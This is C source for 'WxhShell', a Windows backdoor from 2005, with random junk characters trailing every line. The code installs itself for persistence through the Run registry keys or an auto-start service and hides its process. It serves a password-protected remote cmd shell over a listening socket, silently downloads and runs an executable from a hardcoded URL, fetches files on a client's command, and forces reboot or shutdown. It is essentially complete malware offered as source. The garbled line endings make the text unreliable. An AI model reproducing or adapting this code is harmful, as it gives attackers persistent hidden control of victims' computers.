    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ey9hrRMR  
    else { mP6}$ D  
    closesocket(wsh); gSwHPm%zn  
    ExitThread(0); (91ts$jH  
    } .nVY" C&  
    break; c*zeO@AAn  
    } lo6upir ZX  
  // 获取shell K2n#;fY %  
  case 's': { DQ/rx`BG  
    CmdShell(wsh); u$5.GmKm  
    closesocket(wsh); 9__Q-J  
    ExitThread(0); p8-$MF]] 6  
    break; K$}K2w  
  } $?z} yx$  
  // 退出 <=6F=u3PtU  
  case 'x': { 1oiSmW\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); M,ybj5:6  
    CloseIt(wsh); hPG@iX|V  
    break; yN`&oya  
    } t$VRNZ`dy  
  // 离开 LfW:G5@-  
  case 'q': { 8|\ -(:v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VCnf`wZB"  
    closesocket(wsh); Zon7G6s9`  
    WSACleanup(); :a2[d1  
    exit(1); G~u$BV'  
    break; nr&|  
        } wX6-WQR  
  } ~}ifwm'7 a  
  } >)*d/^  
^pew'p HQ  
  // 提示信息 ^:ny  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `~lG5|  
} ]:2Ro:4Yv  
  } D'ZUbAh!  
ZRw^< +  
  return; kRwY#  
} bk=;=K  
dZ* &3.#D5  
// shell模块句柄 V,c^Vq y  
int CmdShell(SOCKET sock) '?.']U,: $  
{ 5$> buYF  
STARTUPINFO si; S[y_Ew zq  
ZeroMemory(&si,sizeof(si)); *>[ q*SF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z<AZO ^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bYem0hzOe  
PROCESS_INFORMATION ProcessInfo; @C[p?ak  
char cmdline[]="cmd"; #"TYk@whWf  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jZmL7 V  
  return 0; e&ZH 1^O  
} 1TfFWlf[B  
r7}KV| M  
// 自身启动模式 GJE+sqMX1  
int StartFromService(void) e8:O2!HW  
{ 2{ l|<'  
typedef struct W;!V_-:  
{ :iE`=( o  
  DWORD ExitStatus; T 8 ]*bw  
  DWORD PebBaseAddress; kt_O=  
  DWORD AffinityMask; \Jc}Hzug  
  DWORD BasePriority; nI(w7qhub  
  ULONG UniqueProcessId; "^{Hta  
  ULONG InheritedFromUniqueProcessId; >Q"3dw  
}   PROCESS_BASIC_INFORMATION; wfu`(4  
"B"ql-K  
PROCNTQSIP NtQueryInformationProcess; g%^/^<ei  
NgsEEPu?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,SdxIhL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [z7]@v6b  
z,dF Dl$  
  HANDLE             hProcess; Z RwN#?x  
  PROCESS_BASIC_INFORMATION pbi; x+%> 2qgj"  
NaQ~iY?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4/3w *  
  if(NULL == hInst ) return 0; \f Kn} ]kG  
ei1;@k/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =1!.g"0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9|@5eN:N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;F%EW`7  
&io+*  
  if (!NtQueryInformationProcess) return 0; (+zU!9}I1  
j3+ hsA/(k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;.$vDin6  
  if(!hProcess) return 0; 4wEkxCWp/  
g.8^ )u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; D]'8BS3  
vt(}8C+  
  CloseHandle(hProcess); XS&;8 PO  
9 MQwc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |KPNl\%ID  
if(hProcess==NULL) return 0; /Gb)BJk!  
S @!z'$&  
HMODULE hMod; "_BWUY  
char procName[255]; j2:9ahW  
unsigned long cbNeeded; ?wIEXKI  
s6;ZaU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tdu:imH~  
A+\rGVNH'S  
  CloseHandle(hProcess); e!C,<W&B\  
*U8,Q]gS  
if(strstr(procName,"services")) return 1; // 以服务启动 wA,-!m  
mQU t 'j4  
  return 0; // 注册表启动 .]<iRf[\[  
} Gcxz$.(  
M#8_Qbvfk  
// 主模块 G$/Qcr6W<  
int StartWxhshell(LPSTR lpCmdLine) Rf=-Q %  
{ $|!3ks  
  SOCKET wsl; HG5E,^1n  
BOOL val=TRUE; *|L;&XM&/  
  int port=0; dIQ3snG  
  struct sockaddr_in door; w; f LnEz_  
\l5G   
  if(wscfg.ws_autoins) Install(); F 6+4Yy+  
l[WX77bp=  
port=atoi(lpCmdLine); :8+x&zn  
A&-2f]L tl  
if(port<=0) port=wscfg.ws_port; ,^v_gc  
Ck/w:i@>?  
  WSADATA data; 4VsttT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'XYjo&w  
=gd~rk9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   k%N$eO$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Vm I Afe  
  door.sin_family = AF_INET; ?4W6TSW-'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3Dj>U*fP  
  door.sin_port = htons(port); :F"NF  
cvtn,Ml6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7s0y.i~  
closesocket(wsl); AuBBSk8($  
return 1; 00Ye ]j_  
} !0KN A1w,  
=C)2DWJ1  
  if(listen(wsl,2) == INVALID_SOCKET) { e>uq/|.!  
closesocket(wsl); tjne[p  
return 1; ojIGfQV  
} "%rU1/@#  
  Wxhshell(wsl); J~ z00p`E  
  WSACleanup(); 69odE+-X.  
o6 :]Hvqjr  
return 0; ~ sWXd~\  
zrC1/%T  
} $TAsb>W!(  
2,h]Y=.s  
// 以NT服务方式启动 u+pZ<Bb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) kidv^`.H$w  
{ /Hq#!2)  
DWORD   status = 0; b0N7[M1Xl  
  DWORD   specificError = 0xfffffff; h?->A#  
QbWeQ[V{  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )fke;Y0  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j4#S/:Q<7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9m%+6#|  
  serviceStatus.dwWin32ExitCode     = 0; ]qk`Yi  
  serviceStatus.dwServiceSpecificExitCode = 0; a5`9mR)Y$'  
  serviceStatus.dwCheckPoint       = 0; p%\&M bA  
  serviceStatus.dwWaitHint       = 0; eFQz G+/  
H]{`q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Vg"vC  
  if (hServiceStatusHandle==0) return; ,A0v 5Q<  
}[;r-5}  
status = GetLastError(); S09Xe_q  
  if (status!=NO_ERROR) +xYg<AFS  
{ ]9 9; 7  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; S'IQbHz*  
    serviceStatus.dwCheckPoint       = 0; 5~i}!n  
    serviceStatus.dwWaitHint       = 0; qFY>/fCP4  
    serviceStatus.dwWin32ExitCode     = status; {^R" V ,)  
    serviceStatus.dwServiceSpecificExitCode = specificError;  ~>3#c#[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "@jYZm8  
    return; ~yRKNH*M  
  } lt0byn$vz  
M(Yt9}Z%Y  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vH"^a/95|  
  serviceStatus.dwCheckPoint       = 0; x^YsXzu  
  serviceStatus.dwWaitHint       = 0; lBG"COu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); CG!9{&F  
} xl(R|D))  
gI+dyoh  
// 处理NT服务事件,比如:启动、停止 !qs3fe<uh"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 1#vi]CX  
{ Xh*Nu HH  
switch(fdwControl) [XNDYaF8  
{ t"&qaG{  
case SERVICE_CONTROL_STOP: _xo;[rEw8  
  serviceStatus.dwWin32ExitCode = 0; 0T:U(5Y9  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5^{).fig  
  serviceStatus.dwCheckPoint   = 0; % hRH80W|  
  serviceStatus.dwWaitHint     = 0; `k9a$@Xg  
  { )6U^!95  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Xc G   
  } Y0o{@)Y:  
  return; eqU y>  
case SERVICE_CONTROL_PAUSE: 7<93n`byM  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o-<.8Z}>at  
  break; :CXm@yF~4=  
case SERVICE_CONTROL_CONTINUE: G=KXA'R)1.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TJ0;xn6o  
  break; >ZnnGX6$(  
case SERVICE_CONTROL_INTERROGATE: N >];xb>  
  break; >\s+A2P  
}; ~HUO$*U4<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FBA th !E  
} *XG.?%x*|  
[T2!,D.  
// 标准应用程序主函数 R9~c: A4G  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Rw`64L_  
{ 4FJA+  
!=vd:,  
// 获取操作系统版本 yO J|t#  
OsIsNt=GetOsVer(); BvpUcICJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <s (o?U  
M4L<u,\1s  
  // 从命令行安装 yOm#c>X  
  if(strpbrk(lpCmdLine,"iI")) Install(); sbq:8P#  
?#/~ BZR!  
  // 下载执行文件 tr%VYc|}  
if(wscfg.ws_downexe) { "0?" E\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 207h$a,  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6oq/\D$6~  
} >u?a#5R:m  
\`>f?}4  
if(!OsIsNt) { -dH]_  
// 如果时win9x,隐藏进程并且设置为注册表启动 V`"Cd?R0Z  
HideProc(); d+IN-lR(  
StartWxhshell(lpCmdLine); 0@}:`OynX  
} srd\Mf_Ej  
else jlaC: (6  
  if(StartFromService()) 0$. ;EGP  
  // 以服务方式启动 m=D9V-P  
  StartServiceCtrlDispatcher(DispatchTable); BVxk}#d  
else cbv%1DT3  
  // 普通方式启动 }?,Eb~q  
  StartWxhshell(lpCmdLine); X GDJCN  
1 o\COnt  
return 0; ~4`3p=$  
} bHioM{S  
RWXN  
C=P}@|K  
[LKzH!  
=========================================== gq&jNj7V  
}_9yemP  
vH>s2\V"  
VI8/@A1Gv  
lQ?_1H~4=  
6@ =ipPCR  
" _/h<4G6A  
a} :2lL%  
#include <stdio.h> t^g+nguz  
#include <string.h> \_t[\&.a}  
#include <windows.h> -@mcu{&  
#include <winsock2.h> G,,f' >  
#include <winsvc.h> 3u1\zse  
#include <urlmon.h> \&^U9=uq  
p)*x7~3e  
#pragma comment (lib, "Ws2_32.lib") +Al* MusS  
#pragma comment (lib, "urlmon.lib") y6gaoj  
z /f0 .RJ  
#define MAX_USER   100 // 最大客户端连接数 L [X "N  
#define BUF_SOCK   200 // sock buffer fWl #CI\]  
#define KEY_BUFF   255 // 输入 buffer 3F{R$M}  
MZdj!(hO  
#define REBOOT     0   // 重启 7J5Yzu)D  
#define SHUTDOWN   1   // 关机 Xrzpn&Y=#  
F)=*Ga  
#define DEF_PORT   5000 // 监听端口 w)"F=33}5  
9mB] \{^  
#define REG_LEN     16   // 注册表键长度 x3 01uf[  
#define SVC_LEN     80   // NT服务名长度 T&]IPOH9  
E&> 2=$~  
// 从dll定义API F&D ,y-CQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Rh{`#dI~=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5O:4-} hz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]nm(V  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); lrK?&a9AB  
(xMq(g  
// wxhshell配置信息 !.w|+-JKO  
struct WSCFG { =wFl(Q6J  
  int ws_port;         // 监听端口 Ft?Y c 5  
  char ws_passstr[REG_LEN]; // 口令 hF9y^Hx4  
  int ws_autoins;       // 安装标记, 1=yes 0=no agnEYdM_  
  char ws_regname[REG_LEN]; // 注册表键名 LBnlaH.  
  char ws_svcname[REG_LEN]; // 服务名 hCB _g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X@%4N<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 zTfl#%  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DfVSG1g  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z]1g;j  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sxPvi0>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 IgKrcpK#}?  
MN_1^T5  
}; Q@cYHFi~+  
a!;CY1>  
// default Wxhshell configuration ez[$;>  
struct WSCFG wscfg={DEF_PORT, mN'sJ1L-  
    "xuhuanlingzhe", 8j8~?=$a6Q  
    1, )C $1))  
    "Wxhshell", MO *7:hI  
    "Wxhshell", NX?6 (lO,  
            "WxhShell Service", dX DuO  
    "Wrsky Windows CmdShell Service", Q VWVZ >l  
    "Please Input Your Password: ", =+"-8tz8FV  
  1, ro18%' RRI  
  "http://www.wrsky.com/wxhshell.exe", Gc<^ b  
  "Wxhshell.exe" L:Me  
    }; q `L}\}o  
r9~IR  
// 消息定义模块 z=qxZuFkDs  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r z5@E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; PH=O>a`a_O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oX?~  
char *msg_ws_ext="\n\rExit."; gg$:U  
char *msg_ws_end="\n\rQuit."; Q,R|VI6Co  
char *msg_ws_boot="\n\rReboot..."; M&0U@ r-  
char *msg_ws_poff="\n\rShutdown..."; [m9=e-KS$Q  
char *msg_ws_down="\n\rSave to "; 4&H&zST//m  
+l>X Z  
char *msg_ws_err="\n\rErr!"; Q8NrbMrl  
char *msg_ws_ok="\n\rOK!"; gX/?  
Ob|v$C  
char ExeFile[MAX_PATH]; 9zaSA,}  
int nUser = 0; EP6@5PNZ  
HANDLE handles[MAX_USER]; KZ|p_{0&  
int OsIsNt; &}VVr  
,/UuXX  
SERVICE_STATUS       serviceStatus; ab*O7v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W(PNw2  
AnQUdU  
// 函数声明 -9$.&D|  
int Install(void); \|$GBU  
int Uninstall(void); Qe]aI7Ei  
int DownloadFile(char *sURL, SOCKET wsh); 2z9N/SyN  
int Boot(int flag); ^1X 6DH`  
void HideProc(void); gA&`vnNP  
int GetOsVer(void); K]ds2Kp&  
int Wxhshell(SOCKET wsl); >;~ia3  
void TalkWithClient(void *cs); kS)|oU K  
int CmdShell(SOCKET sock); rnXoA, c/  
int StartFromService(void); sb</-']a  
int StartWxhshell(LPSTR lpCmdLine); Fc a_(jw  
gr4JaV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nT@FS t  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q=+wQ[a<  
HLl"=m1/>  
// 数据结构和表定义 =_`cY^ib+  
SERVICE_TABLE_ENTRY DispatchTable[] = 8lF:70wia  
{ ^\3z$ntF  
{wscfg.ws_svcname, NTServiceMain}, Qz([\Xx:  
{NULL, NULL} ;%O>=m'4  
}; = '<*mT<  
Z%7X"w  
// 自我安装 -m Sf`1l0  
int Install(void) [.>g.p,;  
{ KwhATYWQb  
  char svExeFile[MAX_PATH]; iLf* m~Q  
  HKEY key; USbFUHdDc  
  strcpy(svExeFile,ExeFile); v\Zq=,+  
tdnd~WSR  
// 如果是win9x系统,修改注册表设为自启动 {Ty?OZ  
if(!OsIsNt) { 'BNZUuUl  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |JTDwmR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); t flUy\H>  
  RegCloseKey(key); 4_o+gG%HaM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { "mAMfV0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VPOp#;"%  
  RegCloseKey(key); VBe&of+  
  return 0; }1P v6L(o)  
    } jW]Fx:mQi  
  } iayxN5,  
} }K9Ji]tOK:  
else { 7OLchf  
8V+  
// 如果是NT以上系统,安装为系统服务 ':|?M B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dt(Lp_&v  
if (schSCManager!=0) #YB3Ug]z  
{ )!d_Td\-  
  SC_HANDLE schService = CreateService hr/|Fn+kA  
  ( _kQOax{c/  
  schSCManager, 0Y/k /)Ul]  
  wscfg.ws_svcname, ou [Wz{  
  wscfg.ws_svcdisp, NucLf6  
  SERVICE_ALL_ACCESS, . "`f~s\G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OZE.T-{  
  SERVICE_AUTO_START, }62Q{>`  
  SERVICE_ERROR_NORMAL, &_$xMM,X  
  svExeFile, !&Us^Q^  
  NULL, \D}$foHg  
  NULL, 4 zipgw  
  NULL, s7:w>,v/  
  NULL, ]VK9d;0D  
  NULL xO;Qr.3PX  
  ); N#7_)S[@0l  
  if (schService!=0) PsI{y&.  
  { wbh^ZMQ  
  CloseServiceHandle(schService); seNH/pRb  
  CloseServiceHandle(schSCManager); qF4DX$$<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @D@'S:3  
  strcat(svExeFile,wscfg.ws_svcname); 2w /qH4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c/`Rv{ *'o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); mv1|oFVW  
  RegCloseKey(key); Kg#s<#h  
  return 0; :w:ql/?X  
    } [3io6XG x@  
  } V-z F'KI[  
  CloseServiceHandle(schSCManager); :*)b<:4  
} k1;Jkq~  
} Ct}rj-L<i  
3E:+DF-Z\  
return 1; WvWZzlw  
} a,\GOy(q{  
t++\&!F  
// 自我卸载 [ jgC`  
int Uninstall(void) v QDkZ  
{ $lf\1)B~*  
  HKEY key; cb9@ 0^-  
;($ 3,d8  
if(!OsIsNt) { ]8EkZC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BaE}|4  
  RegDeleteValue(key,wscfg.ws_regname); SRc|9W5t*J  
  RegCloseKey(key); @RLlkWGc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { l[{Ci|4  
  RegDeleteValue(key,wscfg.ws_regname); t: qPW<wc  
  RegCloseKey(key); Z%I9:(  
  return 0; E0"DHjR  
  } Xe\,:~  
} -.hH,zm  
} j% E9@#  
else { (r$QQO) /  
W[.UM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?XO}6q<tM  
if (schSCManager!=0) q'<K$4_,%  
{ 8^"P'XQ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *wK7qS~VB2  
  if (schService!=0) o1 @. <Q+}  
  { }7/Ob)O  
  if(DeleteService(schService)!=0) { &^@IAjxn  
  CloseServiceHandle(schService); r;OE6}L>  
  CloseServiceHandle(schSCManager); j:'!P<#  
  return 0; r2>y !Q?  
  } \DRYqLT`  
  CloseServiceHandle(schService); F` ]s  
  } Xc7Qu?}  
  CloseServiceHandle(schSCManager); p|R]/C0f  
} Rj {D#5  
} !8Q9RnGn  
(1?k_!)T  
return 1; CiC@Z,ud`  
} p?eQN Y  
HZzdelo  
// 从指定url下载文件 ,Y2){8#l  
int DownloadFile(char *sURL, SOCKET wsh) +0FmeM&`h_  
{ Ov8{ny  
  HRESULT hr; px.]m-  
char seps[]= "/"; aFwfF^\(|,  
char *token; @)m+b;  
char *file;  Q-Rt  
char myURL[MAX_PATH]; )z2hyGX  
char myFILE[MAX_PATH]; [bJAh ` I  
{t&+abY  
strcpy(myURL,sURL); 1dX)l  
  token=strtok(myURL,seps); kR|(hA,$N  
  while(token!=NULL) z}*74lhF  
  { ;/<J& #2.  
    file=token; v0S7 ]?_  
  token=strtok(NULL,seps); Y([vma>U]  
  } sBD\;\I  
z3p #`  
GetCurrentDirectory(MAX_PATH,myFILE); ' 8bT9  
strcat(myFILE, "\\"); RBM4_L  
strcat(myFILE, file); Bc2PF;n  
  send(wsh,myFILE,strlen(myFILE),0); [P"R+$"   
send(wsh,"...",3,0); Vch!&8xii  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k84JDPu#  
  if(hr==S_OK) 7q,M2v;  
return 0; ~`x<;Ts  
else t= oTU,<  
return 1; gEQevy`T%c  
Cn(0ID+3f  
} +{S^A)  
ce P1mO  
// 系统电源模块 *ocbV`  
int Boot(int flag) 9b*1-1"  
{ aj*%$!SU+  
  HANDLE hToken; zMQ|j_ l9E  
  TOKEN_PRIVILEGES tkp; Qr l>A*  
nFfwVqV  
  if(OsIsNt) { rC!~4xj-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q!dNJQpb  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "Hw%@  
    tkp.PrivilegeCount = 1; 1ssEJ; #s  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r)SwV!b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); /R44x\nhr  
if(flag==REBOOT) { L(!mm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Dx<CO1%z-  
  return 0; :X;AmLf`2u  
} /IN/SZx  
else { sd~T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =!%+ sem  
  return 0; I7nZ9n|KU  
} Pkw ` o #  
  } {|J'd+  
  else { E64d6z^7u  
if(flag==REBOOT) { /^z5;aG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wFJ?u?b0Q  
  return 0; lfp'D+#p {  
} .2 /$ !'E  
else { !xxu~j^T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) v/yt C/WH"  
  return 0; R83Me #&  
} *@,>R6)jI  
} m*S[oy&  
^J=l]  l  
return 1; Dj9).lgc  
} /n SmGAO  
g np\z/'>  
// win9x进程隐藏模块 4X &\/X  
void HideProc(void) :3x|U,wC  
{ Q0j$u[x6s  
^L1#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); C,xM) V^a  
  if ( hKernel != NULL ) 0UB,EI8   
  { P]G`Y>#$r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z@0*QZ.y 1  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); w&7-:."1i  
    FreeLibrary(hKernel); 8f<[Bu ze  
  } uE6;;Ir#mF  
WurpHOJt+  
return; ~D)!zQkD  
} $3Ct@}=n  
I(dMiL  
// 获取操作系统版本 3:h9cO/9  
int GetOsVer(void) ^{T3lQvt  
{ )c#m<_^  
  OSVERSIONINFO winfo; ]jz%])SzH  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }bVWV0Aeim  
  GetVersionEx(&winfo); -PSI^%TR#  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w8Mi: ;6  
  return 1; mb\}F9  
  else qi\!<clv  
  return 0; Sh=Px9'i  
} YpT x1c-  
,rp-`E5ap  
// 客户端句柄模块 ,HxsU,xiG  
int Wxhshell(SOCKET wsl) [~ sXjaL8  
{ *8uSy/l  
  SOCKET wsh; ~iZMV ?w  
  struct sockaddr_in client; btK| U  
  DWORD myID; ;y7V-sf  
_Z|s!~wdz  
  while(nUser<MAX_USER) vRLkz4z   
{ i~dW)7  
  int nSize=sizeof(client); ''Y}Q"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?5#Ng,8iT  
  if(wsh==INVALID_SOCKET) return 1; 64^dy V,;  
J2`b:%[  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XLK#=YTI  
if(handles[nUser]==0) -T4{PM  
  closesocket(wsh); lMX 2O2 o  
else 7)IB IlV  
  nUser++; V6,D~7  
  } y#AwuC K  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o?f7_8fG  
aPq9^S*  
  return 0; ai(<"|(  
} U/2g N H  
]Ph~-O  
// 关闭 socket x7X"'1U  
void CloseIt(SOCKET wsh) U-ILzK  
{ Oph4&Ip[w  
closesocket(wsh); 6EhRCl  
nUser--; Ek+L"7  
ExitThread(0); -~A7o3k35  
} ~EIY(^|py  
v2dCkn /  
// 客户端请求句柄 ?gb"S,  
void TalkWithClient(void *cs) kyQ%qBv ^  
{ uD&!]E3  
.#uRJo%8  
  SOCKET wsh=(SOCKET)cs; 3,bA&c3  
  char pwd[SVC_LEN]; oAX-Sg-/$  
  char cmd[KEY_BUFF]; 8{HeHU  
char chr[1]; /LM*nN$%  
int i,j; "3{xa;c  
~pn9x;N%H  
  while (nUser < MAX_USER) { 6y,M+{  
:z%vNKy1  
if(wscfg.ws_passstr) { &+-ZXN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); S<f&?\wK=v  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sQ/7Mc  
  //ZeroMemory(pwd,KEY_BUFF); z= -u89]  
      i=0; mf'N4y%  
  while(i<SVC_LEN) { oh`I$  
`e0U-W]kF  
  // 设置超时 ^CTgo,uf6H  
  fd_set FdRead; p3:x\P<|  
  struct timeval TimeOut; cve(pkl  
  FD_ZERO(&FdRead); +(5H$O{h  
  FD_SET(wsh,&FdRead); owTW_V  
  TimeOut.tv_sec=8; ?#xNz=V  
  TimeOut.tv_usec=0; cI4%z eR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _=jc%@]1y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); D>,]EE-  
a\\B88iRRZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4@|K^nT`  
  pwd=chr[0]; -vI?b#  
  if(chr[0]==0xd || chr[0]==0xa) { .b]g# Du=  
  pwd=0; Tk9*@kqv  
  break; l/yLSGjM  
  } EA2BN}  
  i++; |H5){2V>K  
    } rd\mFz-SB  
[]0`>rVq  
  // 如果是非法用户,关闭 socket 6hYv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 6)P~3 C'  
} fcb:LPk;  
Tfhg\++u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gh}FZs5 P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N{`-&8q;K  
?rWqFM:hb  
while(1) { !h7`W*::  
Ly\$?3 h  
  ZeroMemory(cmd,KEY_BUFF); P"_x/C(]@J  
&by,uVb=|{  
      // 自动支持客户端 telnet标准   m^h"VH,   
  j=0; BnqAv xX  
  while(j<KEY_BUFF) { =2bW"gs I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JGSeu =)  
  cmd[j]=chr[0]; }nYm^Yh  
  if(chr[0]==0xa || chr[0]==0xd) { <"/Y`/  
  cmd[j]=0; Z?[;Japg  
  break; '/SMqmi  
  } SxC$EQ gL  
  j++; $I-$X?  
    } ExI?UGT  
bXc7$5(!VB  
  // 下载文件 @g[p>t> *  
  if(strstr(cmd,"http://")) { &529.>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); VZF/2d84&w  
  if(DownloadFile(cmd,wsh)) WDKj)f9cy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e}f!zA  
  else eg) =^b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }_0?S0<#  
  } S D] d/|y  
  else { \,[Qg#W$u  
~.AUy%$_g+  
